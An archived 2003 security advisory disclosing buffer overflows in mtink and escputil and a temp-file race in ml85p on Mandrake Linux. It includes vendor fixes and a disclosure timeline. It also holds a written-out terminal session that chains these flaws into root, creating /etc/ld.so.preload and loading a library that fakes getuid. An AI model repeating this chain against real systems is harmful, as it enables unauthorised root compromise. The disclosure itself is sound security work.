[UNIX] Buffer Overflows in Mandrake Linux printer-drivers Package
From: support@securiteam.com
Date: 01/22/03
- Previous message: support@securiteam.com: "[NEWS] PeopleSoft XML External Entities Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 22 Jan 2003 21:21:01 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
Buffer Overflows in Mandrake Linux printer-drivers Package
------------------------------------------------------------------------
SUMMARY
MandrakeSoft Inc.'s Mandrake Linux includes the printer-drivers package in
most default installations. Specifically, the following three binaries are
included:
* mtink: a status monitor that tracks remaining ink quantity, printing of
test patterns, and changing and cleaning cartridges, etc. It is maintained
by Jean-Jacques Sarton (jj.sarton@t-online.de).
* escputil: a utility to clean and align the heads of Epson Stylus
printers. It also checks current ink levels in the printer. It is
maintained by Robert Krawitz (rlk@alum.mit.edu) and Mike Sweet.
* ml85p: a Linux driver for Samsung ML-85G series printers. It is
maintained by Rildo Pragana (rildo@pragana.net).
Multiple vulnerabilities have been found in the tools mentioned above, see
details below.
DETAILS
Three vulnerabilities exist, the worst of which allows local root
compromise of a target system.
Vulnerability #1:
The mtink binary, installed set group id (gid) 'sys' contains a buffer
overflow in its handling of the HOME environment variable. Successful
exploitation provides an attacker with 'sys' group privileges. The
following snippet contains the offending segment of code:
void readRc(int idx)
{
FILE *fp;
char rcPath[1024];
...
sprintf(rcPath,"%s/.mtinkrc",getenv("HOME"));
Vulnerability #2:
The escputil binary, installed set gid 'sys' contains a buffer overflow in
its parsing of the printer-name command line argument. Successful
exploitation provides an attacker with 'sys' group privileges.
Vulnerability #3:
The ml85p binary, installed set user id root contains a race condition in
its opening of temporary files. Successful exploitation provides an
attacker with the ability to create or empty a file with super user
privileges. The following snippet contains the offending segment of code:
sprintf(gname,"/tmp/mlg85p%d",time(0));
if (!(cbmf = fopen(gname,"w+"))) {
An attacker can easily guess the name of a temporary file and then link
the guessed file to a file at another location. If the other file does not
exist, it is created world-writeable; if it does exist, the contents of
the file are lost. ml85p is, by default, installed without execute
permissions for 'other':
$ ls -l /usr/bin/ml85p
- -rwsr-x--- 1 root sys 12344 Sep 17 12:40 /usr/bin/ml85p*
The binary, however, does provide execute permissions to the 'sys' group,
whose privileges can be gained using either of the two exploits in
Vulnerability #1 or #2. Once 'sys' privileges are obtained, an attacker
can exploit this race condition.
The following example walks through a sample attack utilizing the
above-described methods:
$ id
uid=501(farmer) gid=501(farmer) groups=501(farmer)
$ ./escputil_ex
Usage : ./escputil_ex [offset]
Address : 0xbffff6b0
Exploiting...
Escputil version 4.2.2, Copyright (C) 2000-2001 Robert Krawitz
Escputil comes with ABSOLUTELY NO WARRANTY; for details type 'escputil -l'
This is free software, and you are welcome to redistribute it under
certain conditions; type 'escputil -l' for details.
Cleaning heads...
lpr: unable to print file: client-error-not-found
/etc/profile.d/alias.sh:31: parse error: condition expected: !=
$ id
uid=501(farmer) gid=501(farmer) egid=3(sys) groups=501(farmer)
$ ls -l /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
$ ./ml85p_ex /etc/ld.so.preload
Press a key to clean/create /etc/ld.so.preload file
Wrong file format.
file position: ffffffff
$ ls -l /etc/ld.so.preload
- -rw-rw-rw- 1 root sys 0 Oct 21 09:09 /etc/ld.so.preload
$ cat > /tmp/lib.c < heredoc> int getuid(void) { return 0; }
heredoc> EOF
$ gcc -fPIC -c /tmp/lib.c
$ gcc -o /tmp/lib.so -shared /tmp/lib.o
$ echo "/tmp/lib.so" > /etc/ld.so.preload
$ su -
# id
uid=0(root) gid=0(root) groups=0(root)
Analysis:
Any attacker with local access to a targeted system can launch this
attack. The ability to empty or create with root privileges any file on
the file system provides an attacker with many avenues of exploitation.
The above-described example is just one way of quickly gaining super user
privileges on a targeted system.
Detection:
Mandrake Linux 9.0 is vulnerable. By default, it includes the following
versions of the printer-drivers package:
* printer-utils-1.0-76mdk
* printer-filters-1.0-76mdk
Vendor fix and response:
MandrakeSoft has identified the problems and applied author-provided fixes
to the escputil and mtink vulnerabilities. A patch written by Till
Kamppeter was applied to ml85p to fix that vulnerability. Updates are
provided for Mandrake Linux 8.1 through 9.0 for the printer-drivers
packages, and ghostscript in 8.0 to fix these vulnerabilities
(MDKSA-2003:010).
Disclosure timeline:
10/06/2002 Issues disclosed to iDEFENSE
12/26/2002 Issues disclosed to jj.sarton@t-online.de, rlk@alum.mit.edu,
rildo@pragana.net, and security@linux-mandrake.com
12/26/2002 Issues disclosed to iDEFENSE clients
12/26/2002 Vendor responses from rlk@alum.mit.edu, jj.sarton@t-online.de
12/30/2002 Response from Vincent Danen (vdanen@mandrakesoft.com)
01/21/2003 Coordinated public disclosure
ADDITIONAL INFORMATION
The information has been provided by <mailto:labs@idefense.com> iDEFENSE
Labs, the vulnerability was discovered by <mailto:appelast@bsquad.sm.pl>
Karol Wiesek.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[NEWS] YaBB SE Remote Code Execution Vulnerability (/Sources)"
- Previous message: support@securiteam.com: "[NEWS] PeopleSoft XML External Entities Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] IBM DB2 Universal Database Multiple Vulnerabilities
... IBM DB2 Universal Database Multiple Vulnerabilities ... the length of attacker
supplied data. ... Exploitation allows local attackers to gain root privileges. ...
(Securiteam) - SecurityFocus Microsoft Newsletter #305
... Microsoft Office security, part one ... Microsoft Internet Explorer Multiple
COM Object Color Property Denial of Service Vulnerabilities ... An attacker may
leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges
of the webserver process. ... (Focus-Microsoft) - MDKSA-2005:128 - Updated mozilla packages fix multiple vulnerabilities
... A number of vulnerabilities were reported and fixed in Mozilla 1.7.9. ...
install method this callback function can end up running in the context ... of the new
page selected by the attacker. ... (Bugtraq) - [Full-disclosure] MDKSA-2005:127 - Updated mozilla-thunderbird packages fix multiple vulnerabilities
... A number of vulnerabilities were reported and fixed in Thunderbird 1.0.5 ...
the javascript interpreter would jump to the wrong ... believe this could be exploited
(MFSA 2005-40). ... developed further to run arbitrary machine code if the attacker
can get ... (Full-Disclosure) - [Full-disclosure] MDKSA-2005:128 - Updated mozilla packages fix multiple vulnerabilities
... A number of vulnerabilities were reported and fixed in Mozilla 1.7.9. ...
install method this callback function can end up running in the context ... of the new
page selected by the attacker. ... (Full-Disclosure)